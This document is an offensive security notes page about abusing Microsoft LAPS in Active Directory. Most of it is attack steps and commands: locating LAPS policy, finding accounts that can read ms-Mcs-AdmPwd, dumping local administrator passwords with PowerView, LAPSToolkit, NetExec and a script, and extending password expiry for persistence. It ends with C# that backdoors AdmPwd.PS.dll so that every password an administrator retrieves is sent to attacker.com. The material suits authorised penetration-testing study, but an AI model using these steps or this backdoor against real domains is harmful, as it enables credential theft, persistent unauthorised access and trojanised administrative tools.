LAPS (Local Administrator Password Solution)

Organisations often have a build process for physical and virtual machines within their environment. It's common that everything is built from the same "gold image" to ensure consistency and compliance. However, these processes can result in every machine having the same password on accounts such as the local administrator.

LAPS is a Microsoft solution for managing the credentials of a local administrator account on every machine, either the default RID 500 or a custom account. It ensures that the password for each account is different, random, and automatically changed on a defined schedule.

Summary of how LAPS works:

  1. The Active Directory schema is extended and adds two new properties to computer objects, called ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime.

  2. By default, the DACL on ms-Mcs-AdmPwd only grants read access to Domain Admins. Each computer object is given permission to update these properties on itself.

  3. Rights to read AdmPwd can be delegated to other principals (users, groups etc), which is typically done at the OU level.

  4. A new GPO template is installed, which is used to deploy the LAPS configuration to machines (different policies can be applied to different OUs).

  5. The LAPS client is also installed on every machine (commonly distributed via GPO or a third-party software management solution).

  6. When a machine performs a gpupdate, it will check the AdmPwdExpirationTime property on its own computer object in AD. If the time has elapsed, it will generate a new password (based on the LAPS policy) and sets it on the ms-Mcs-AdmPwd property.

To hunt for the presence of LAPS, if it's applied to a machine that you have access to, AdmPwd.dll will be on disk:

ls C:\Program Files\LAPS\CSE

We can also locate them with PowerView.

Once located, we can download the LAPS configuration from the gpcfilesyspath (located with PowerView):

ls {gpcfilesyspath}

download {gpcfilesyspath}\Registry.pol

Then we can use GPRegistryPolicyParser (https://github.com/PowerShell/GPRegistryPolicyParser) locally to convert this file into human-readable format:

Parse-PolFile .\Desktop\Registry.pol

This tells us:

  • Password complexity is upper

  • Password length

  • Passwords are changed every X days.

  • The LAPS managed account name is X.

  • Password expiration protection is enabled/disabled.

- Reading ms-Mcs-AdmPwd

We can discover which principals are allowed to read the ms-Mcs-AdmPwd with PowerView.

Then, with the SID we can convert it to see who are actually the principals allowed:

powershell ConvertFrom-SID {SID}

We can also use LAPSToolkit (https://github.com/leoloobeek/LAPSToolkit) to query each OU and find domain groups that have delegated read access:

powershell-import C:\Tools\LAPSToolkit\LAPSToolkit.ps1

powershell Find-LAPSDelegatedGroups

Then, to get a computer's password, simply read the attribute with PowerView.

We can also use:

powershell Get-LAPSComputers

With that password we can now get access to that computer (Example with Cobalt).

- Password Expiration Protection

Once we have compromised a computer using it's LAPS password, we can set its expiration long into the future as a form of persistence.

First we need to see the expiration date (PowerView), and translate that string into an human-readable format (https://www.epochconverter.com/ldap).

Then to push the expiry out by 10 years (The expiration date will still be visible to admins and a manual reset will change the password and restore the expiration date):

powershell Set-DomainObject -Identity {computer} -Set @{'ms-Mcs-AdmPwdExpirationTime' = '136257686710000000'} -Verbose

To read LAPS with Netexec:

nxc smb <ip> -u user-can-read-laps -p pass --laps

nxc winrm <ip> -u user-can-read-laps -p pass --laps

Powershell script to automatically extract them (https://github.com/kfosaaen/Get-LAPSPasswords/blob/master/Get-LAPSPasswords.ps1):

Get-LAPSPasswords

- LAPS Backdoors

The LAPS PowerShell modules can be found under:

ls C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS\

If its installed, we can download the DLLs (written in C#), modify and re-upload.

First we will download AdmPwd.PS.dll and AdmPwd.Utils.dll

Then, we will open AdmPwd.PS.dll with dnSpy:

Once in dnSpy, we will use the Assembly Explorer to drill down into the DLL, namespaces and classes until you find the GetPassword method.

This method calls DirectoryUtils.GetPasswordInfo which returns a PasswordInfo object. You can click on the name and dnSpy will take you to the class definition. It contains properties for ComputerName, DistinguishedName, Password and ExpirationTimestamp. The password is simply the plaintext password that is shown to the admin.

Now, for example, we can modify the code to send the plaintext passwords to us over an HTTP GET request (This is an irresponsible method to use because the plaintext password is being sent unencrypted over the wire, it is just an example):

Go back to the GetPassword method, right-click somewhere in the main window and select Edit Method. The first thing we need to do is add a new assembly reference, using the little button at the bottom of the edit window.

Use the search box to find and add System.Net.

This code will simply instantiate a new WebClient and call the DownloadString method, passing the computer name and password in the URI. So below PasswordInfo object we will add the following:

// backdoor start
using (var client = new WebClient())
{
	client.BaseAddress = "http://attacker.com";
	try
	{
		client.DownloadString($"?computer={password.Info.ComputerName}&pass={password.Info.Password}");
	}
	catch
	{
		//pokemon
	}
}
//backdoor end

Once we added that, click the Compile button in the bottom-right of the edit window. Then select File > Save Module to write the changes to disk. Upload the DLL back to the target to overwrite the existing file.

Last updated